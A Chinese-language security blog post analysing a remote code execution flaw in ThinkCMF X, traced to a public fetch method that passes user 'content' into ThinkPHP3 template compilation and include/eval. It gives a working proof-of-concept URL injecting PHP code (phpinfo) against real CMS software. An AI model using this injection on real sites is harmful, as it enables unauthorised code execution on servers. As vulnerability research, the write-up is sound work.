TinkcmfX 前台任意代码执行分析

由 发布于

 

这个洞是今年强网杯线下时做一道叫 yxtcms 的 Real World 题时候挖到的一个Thinkcmf X的前台任意代码执行的 0day(赛后问了下其他队伍大多是结合本题特性和tp3的缓存getshell，并不能通杀 )， 当时做完感觉影响有限，并没在意，前天看到有其他人发出来了，但是说的很概括，那么我发一份稍微详细点的分析吧。

Payload

开局先上payload，以强网杯那道题目为例子，：
http://127.0.0.1/index.php/Course/Course/fetch?content=%3C?php%20phpinfo();die();;die();)

那么具体什么情况下可以攻击呢？
Thinkcmf 在 ThinkPHP3 的基础上抽象出了四个常用Controller ，而这个漏洞的入口就正是其中的
HomeBaseController和AdminBaseController的fetch方法，也就是说只要可以访问到继承了这两个类的Controller，都可以直接攻击。
那么下面我们来分析一下具体漏洞成因。
 

漏洞成因

简单跟一下就可以发现其实最后执行代码的位置位于ThinkPHP3的内置代码
HomeBaseController 继承于 AppframeController 再继承于ThinkPHP3的ThinkController类，而Controller类的fetch方法则是来源于了ThinkView类， 那么我们来看一下View类的fetch方法：
public function fetch($templateFile='',$content='',$prefix='') {        if(empty($content)) {            $templateFile   =   $this->parseTemplate($templateFile);            // 模板文件不存在直接返回            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);        }else{            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());        }        // 页面缓存        ob_start();        ob_implicit_flush(0);        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板            $_content   =   $content;            // 模板阵列变量分解成为独立变量            extract($this->tVar, EXTR_OVERWRITE);            // 直接载入PHP模板            empty($_content)?include $templateFile:eval('?>'.$_content);        }else{            // 视图解析标签            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);            Hook::listen('view_parse',$params);        }        // 获取并清空缓存        $content = ob_get_clean();        // 内容过滤标签        Hook::listen('view_filter',$content);        // 输出模板文件        return $content;    }
是不是看到我们可以控制的$content被直接拼接进了eval？不过很可惜，要进入这个eval，要求使用PHP原生模板，而ThinkPHP3 默认使用的不是所谓的 PHP原生模板，而是Think模板。不过这个时候，如果你还没死心，按照进入eval的思路构造了payload：fetch?content=%3C?php%20phpinfo();die();，你会惊奇的发现，虽然我们的代码没有执行到eval函数里，但是却攻击成功了。也就是说Think模板也存在同样的漏洞!
那我们继续跟下去：
从Hook::listen一路跟下去，一直跟到ThinkTemplate类的fetch方法，我们可以完全控制的内容的参数名变成了$templateFile：
public function fetch($templateFile,$templateVar,$prefix='') {        $this->tVar         =   $templateVar;        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);        Storage::load($templateCacheFile,$this->tVar,null,'tpl');    }
可以看到又调用了loadTemplate方法：
public function loadTemplate ($templateFile,$prefix='') {        if(is_file($templateFile)) {            $this->templateFile    =  $templateFile;            // 读取模板文件内容            $tmplContent =  file_get_contents($templateFile);        }else{            $tmplContent =  $templateFile;        }         // 根据模版文件名定位缓存文件        $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];
        // 判断是否启用布局        if(C('LAYOUT_ON')) {            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);            }else{ // 替换布局的主体内容                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];                // 检查布局文件                if(!is_file($layoutFile)) {                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);                }                $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));            }        }        // 编译模板内容        $tmplContent =  $this->compiler($tmplContent);        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');        return $tmplCacheFile;    }
$templateFile被赋值给了$tmplContent,然后进入了compiler方法，跟入即可发现我们的代码并未经过过滤，就直接进行了拼接随后返回：
protected function compiler($tmplContent) {        //模板解析        $tmplContent =  $this->parse($tmplContent);        // 还原被替换的Literal标签        $tmplContent =  preg_replace_callback('/<!--###literal(d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);        // 添加安全代码        $tmplContent =  '<?php if (!defined('THINK_PATH')) exit();?>'.$tmplContent;        // 优化生成的php代码        $tmplContent = str_replace('?><?php','',$tmplContent);        // 模版编译过滤标签        Hook::listen('template_filter',$tmplContent);        return strip_whitespace($tmplContent);    }
随后两行代码将编译好的模板进行缓存，然后返回缓存文件名
Storage::put($tmplCacheFile,trim($tmplContent),'tpl');return $tmplCacheFile;
返回的文件名进入
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
我们看一下Storage::load方法干了什么：
public function load($_filename,$vars=null){        if(!is_null($vars)){            extract($vars, EXTR_OVERWRITE);        }        include $_filename;    }
直接进行了文件包含，就这样我们的代码就被成功执行了。
 

锅该谁背？

那看到这里，有人可能会问， 既然问题出在Thinkphp3的Controller，那为什么没听说Thinkphp爆这个漏洞？那么让我们寻找一下中间的问题出在了哪：
ThinkPHP3中ThinkController::fetch 的代码：
/**     *  获取输出页面内容     * 调用内置的模板引擎fetch方法，     * @access protected     * @param string $templateFile 指定要调用的模板文件     * 默认为空 由系统自动定位模板文件     * @param string $content 模板输出内容     * @param string $prefix 模板缓存前缀*     * @return string     */    protected function fetch($templateFile = '', $content = '', $prefix = ''){        return $this->view->fetch($templateFile, $content, $prefix);    }
Thinkcmf 的 HomeBaseController::fetch的代码：
/**     * 获取输出页面内容     * 调用内置的模板引擎fetch方法，     * @access protected     * @param string $templateFile 指定要调用的模板文件     * 默认为空 由系统自动定位模板文件     * @param string $content 模板输出内容     * @param string $prefix 模板缓存前缀*     * @return string     */    public function fetch($templateFile='',$content='',$prefix=''){        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';        return parent::fetch($templateFile,$content,$prefix);    }
有没有发现问题出在哪里？
ThinkPHP3的Controller类中，fetch方法的属性是protected的，也就是说我们无法直接通过前端路由调用，而Thinkcmf的HomeBaseController里，将这个方法的属性重载后设为了public ！ 这就导致这个存在漏洞的方法可以被我们访问、控制，由此导致了漏洞发生。
而对于ThinkPHP来说这其实是一个类似其缓存设计缺陷的控制器设计缺陷，当然也可以叫模板设计缺陷，当开发者不小心使得用户传递进来的参数直接进入Controller的fetch方法时，就会导致安全问题。除了Thinkcmf之外，因为同样问题中枪的CMS
还是有不少的。
同样存在问题的还有display方法，因为其内部就是调用了fetch方法，这里就不再单独赘述了 。而ThinkPHP5.1中对这两个方法进行了修改，该缺陷也得以修复。